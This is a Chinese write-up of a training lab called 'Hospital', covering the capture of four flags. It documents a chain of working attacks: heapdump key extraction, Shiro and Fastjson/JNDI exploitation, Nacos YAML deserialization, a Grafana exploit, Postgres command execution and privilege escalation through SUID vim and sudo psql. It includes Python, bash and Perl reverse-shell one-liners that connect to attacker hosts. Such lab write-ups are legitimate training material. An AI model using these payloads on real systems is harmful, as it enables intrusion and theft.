春秋云境-Hospital

发布于 2024-03-22  175 次阅读


简介:

在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。

靶场链接:

https://yunjing.ichunqiu.com/major/detail/1106?type=1

挑战开始:

flag01:

开启靶场后使用fscan尝试扫描一下,发现开放了8080和22端口,并且存在heapdump文件泄露

访问
http://121.89.217.33:8080/actuator/heapdump
成功下载heapdump文件
这里使用JDumpSpider来进行敏感信息搜集
https://github.com/whwlsfb/JDumpSpider

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
这里发现了一个shiro key

检测了下网站,发现确实存在shiro组件,同时找到的key也是正确的

这里直接一键检测利用链,成功利用

这里直接注入了内存马

这里发现权限比较低,尝试提权

find / -user root -perm -4000 -exec ls -ldb {} \;

这里通过查询,发现vim.basic进行提权

这里需要有一个交互shell,冰蝎的虚拟终端打不开,这里反弹一个先
通过测试,发现存在python3环境
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("119.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功反弹shell

接着改下交互
python3 -c "import pty;pty.spawn('/bin/bash')"

接着提权
/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
成功提权

成功找到flag01

flag02:

上传fscan扫描下内网

172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.6:8848 open
172.30.12.236:8080 open
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:8009 open
[*] NetBios 172.30.12.6     WORKGROUP\SERVER02            
[*] NetInfo 
[*]172.30.12.6
   [->]Server02
   [->]172.30.12.6
[*] WebTitle http://172.30.12.5:8080   code:302 len:0      title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=CD5487B3575352F614713BA1C5783284
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=CD5487B3575352F614713BA1C5783284 code:200 len:2005   title:医疗管理后台
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle http://172.30.12.6:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file 

这里发现内网存在一个nacos未授权访问漏洞
先用frp做好隧道
访问http://172.30.12.6:8848/nacos
先试了一下nacos/nacos
直接进了后台,那就不需要利用漏洞添加账号了

这里发现了配置文件中的账号密码

但是尝试了下,并没有好的利用方式
查了下nacos其他漏洞,发现有一个 Nacos Client Yaml 反序列化漏洞
https://github.com/artsploit/yaml-payload
这里改下执行的命令,改成添加用户

接着重新打包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

这里打包的时候javac版本最好是1.8,17编译的有问题
接着把打包好的jar上传到flag01的机器上,并开启http服务

接着利用工具
https://github.com/charonlight/NacosExploitGUI/releases/tag/v4.0
一开始用的java17打包的,一直不行,换成1.8之后就可以了

成功找到flag02

flag03

回到上面,看到还有一个web
访问http://172.30.12.236:8080

抓包看一下,发现是json传参
联想到题目中的提示fastjson
先尝试一下
确实存在fastjson

打一下fastjson payload

{"aaa":{"@type":"java.net.Inet4Address","val":"365w9v.dnslog.cn"}}


成功收到回显

接着使用工具jndi_tool.jar部署恶意类
https://github.com/wyzxxz/jndi_tool
java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 "bash -i >& /dev/tcp/172.30.12.5/9595 0>&1"
这里一开始是想在外网,但是不出网,所以还是在flag01的机器上做的

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://172.30.12.5:8888/Object",
        "autoCommit":true
    }
}


成功反弹shell

成功找到flag03

flag04

查看了下发现多网卡

从flag01机器上下载fscan扫了下新网段

发现存在一个grafana
这里需要做多层隧道,这里用的ew
在公网vps上执行上执行:
ew_for_Win.exe -s lcx_listen -l 1080 -e 8888
在web01上执行
./ew -s lcx_slave -d 公网vpsIP -e 8888 -f 172.30.12.236 -g 9999
在web03上执行
./ew -s ssocksd -l 9999

这样socks代理做公网vps的1080端口就可以访问grafana了

尝试弱口令admin/admin
成功进入后台

这里直接用漏洞检测工具检测下
https://github.com/A-D-Team/grafanaExp
直接本地kali挂代理检测下,但是挂代理经常报错
不得已到web03上去执行(全程被各种反弹的shell ctrl+C会掉shell搞崩溃,直接吧隧道重新做到了后台)
./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000

这里成功发现了postgres的密码
通过代理成功使用navicat连接

SELECT "version"()
查询了下版本

这里本地kali挂着proxychains4 使用MDUT来利用
https://github.com/SafeGroceryStore/MDUT

但是还是报错了。。。

心态炸裂
只能手动执行
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

反弹shell
select system('perl -e \'use Socket;$i="172.30.54.179";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

尝试提权,这里发现/usr/local/postgresql/bin/psql可以免密sudo执行

参考提权
https://gtfobins.github.io/gtfobins/psql/
尝试提权

发现这里要用root账户的密码
改一下root的密码
ALTER USER root WITH PASSWORD '123456';

sudo /usr/local/postgresql/bin/psql
\?
!/bin/bash
cat /root/flag/flag04.txt

成功获取flag

届ける言葉を今は育ててる
最后更新于 2024-03-22